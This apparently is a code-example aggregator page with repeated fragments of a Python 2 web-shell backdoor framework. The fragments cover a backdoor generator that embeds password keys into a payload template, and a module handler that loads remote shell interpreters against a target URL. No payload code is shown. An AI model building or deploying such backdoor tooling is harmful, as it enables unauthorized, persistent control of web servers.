Esempio n. 1
0
    def __init__(self, password):

        if len(password) < 4:
            raise ModuleException(
                'generate',
                'Password \'%s\' too short, choose another one' % password)

        self.password = password
        self.start_key = self.password[:2]
        self.end_key = self.password[2:]
        self.payload = self.payload_template.replace(
            '%%%START_KEY%%%',
            self.start_key).replace('%%%END_KEY%%%',
                                    self.end_key).replace('\n', '')
        self.backdoor = self.encode_template()
Esempio n. 2
0
    def load(self, module_name, disable_interpreter_probe=False):

        if not module_name in self.modules:
            if module_name not in self.modules_classes.keys():
                raise ModuleException(
                    module_name,
                    "Not found in path '%s'." % (self.path_modules))

            self.modules[module_name] = self.modules_classes[module_name](
                self, self.url, self.password)

            if module_name.startswith('shell.'):
                self.loaded_shells.append(module_name)

        return self.modules[module_name]
Esempio n. 3
0
 def load(self, module_name, init_module = True, disable_interpreter_probe=False):
     
     if not module_name in self.modules:
         if module_name not in self.module_info.keys():
             raise ModuleException(module_name,   "Module not found in path '%s'." % (self.path_modules) )
         
         mod = __import__('modules.' + module_name, fromlist = ["*"])
         modclass = getattr(mod, mod.classname)
         if not init_module:
             return modclass
         
         self.modules[module_name]=modclass(self, self.url, self.password)
         if module_name.startswith('shell.'):
             self.loaded_shells.append(module_name)
         
     
     return self.modules[module_name]
Esempio n. 4
0
class ModHandler(Helper):

    interpreters_priorities = ['shell.sh', 'shell.php']

    def __init__(self, url=None, password=None, path_modules='modules'):

        self.url = url
        self.password = password

        if not os.path.exists(path_modules):
            raise Exception("No module directory %s found." % path_modules)

        self.path_modules = path_modules

        self.loaded_shells = []
        self.modules_classes = {}
        self.modules = {}

        Helper.__init__(self)

        self._first_load(self.path_modules)

        self.verbosity = [3]

        self.interpreter = None

    def _first_load(self, startpath, recursive=True):

        for f in os.listdir(startpath):

            f = startpath + os.sep + f

            if os.path.isdir(f) and recursive:
                self._first_load(f, False)
            if os.path.isfile(f) and f.endswith(
                    '.py') and not f.endswith('__init__.py'):
                f = f[len(self.path_modules) + 1:-3].replace('/', '.')
                mod = __import__('%s.%s' % (self.path_modules, f),
                                 fromlist=["*"])
                modclass = getattr(mod, mod.classname)
                self.modules_classes[f] = modclass

                parts = f.split('.')
                if parts[0] not in self.modules_names_by_group:
                    self.modules_names_by_group[parts[0]] = []
                self.modules_names_by_group[parts[0]].append(f)

        self.ordered_groups = self.modules_names_by_group.keys()
        self.ordered_groups.sort()

    def load(self, module_name, disable_interpreter_probe=False):

        if not module_name in self.modules:
            if module_name not in self.modules_classes.keys():
                raise ModuleException(
                    module_name,
                    "Not found in path '%s'." % (self.path_modules))

            self.modules[module_name] = self.modules_classes[module_name](
                self, self.url, self.password)

            if module_name.startswith('shell.'):
                self.loaded_shells.append(module_name)

        return self.modules[module_name]

    def set_verbosity(self, v=None):

        if not v:
            if self.verbosity:
                self.verbosity.pop()
            else:
                self.verbosity = [3]
        else:
            self.verbosity.append(v)

    def load_interpreters(self):

        for interpr in self.interpreters_priorities:

            try:
                self.load(interpr)
            except ModuleException, e:
                print '[!] [%s] %s' % (e.module, e.error)
            else:
                self.interpreter = interpr
                return self.interpreter

        raise ModuleException(
            '[!]', 'No remote backdoor found. Check URL and password.')
Esempio n. 5
0
class ModHandler(Helper):

    interpreters_priorities = ['shell.sh', 'shell.php']

    def __init__(self, url=None, password=None, path_modules='modules'):

        self.url = url
        self.password = password

        if not os.path.exists(path_modules):
            raise Exception("No module directory %s found." % path_modules)

        self.path_modules = path_modules

        self.loaded_shells = []
        self.modules = {}

        Helper.__init__(self)

        self.verbosity = 3

        self.interpreter = None

#        self.__load_interpreters()

    def load(self,
             module_name,
             init_module=True,
             disable_interpreter_probe=False):

        if not module_name in self.modules:
            if module_name not in self.module_info.keys():
                raise ModuleException(
                    module_name,
                    "Module not found in path '%s'." % (self.path_modules))

            mod = __import__('modules.' + module_name, fromlist=["*"])
            modclass = getattr(mod, mod.classname)
            if not init_module:
                return modclass

            self.modules[module_name] = modclass(self, self.url, self.password)
            if module_name.startswith('shell.'):
                self.loaded_shells.append(module_name)

        return self.modules[module_name]

    def set_verbosity(self, v=3):
        self.verbosity = v
#
#    def get_default_interpreter(self):
#
#
#        for interp in self.interpreters_priorities:
#            if interp in self.loaded_shells:
#                return interp
#

    def load_interpreters(self):

        for interpr in self.interpreters_priorities:

            try:
                self.load(interpr)
            except ModuleException, e:
                print '[!] [%s] %s' % (e.module, e.error)
            else:
                self.interpreter = interpr
                return self.interpreter

        raise ModuleException(
            '[!]', 'No remote backdoor found. Check URL and password.')
Esempio n. 6
0
        return self.modules[module_name]

    def set_verbosity(self, v=None):

        if not v:
            if self.verbosity:
                self.verbosity.pop()
            else:
                self.verbosity = [3]
        else:
            self.verbosity.append(v)

    def load_interpreters(self):

        for interpr in self.interpreters_priorities:

            try:
                self.load(interpr)
            except ModuleException, e:
                print '[!] [%s] %s' % (e.module, e.error)
            else:
                self.interpreter = interpr
                return self.interpreter

        raise ModuleException(
            '[!]', 'No remote backdoor found. Check URL and password.')


#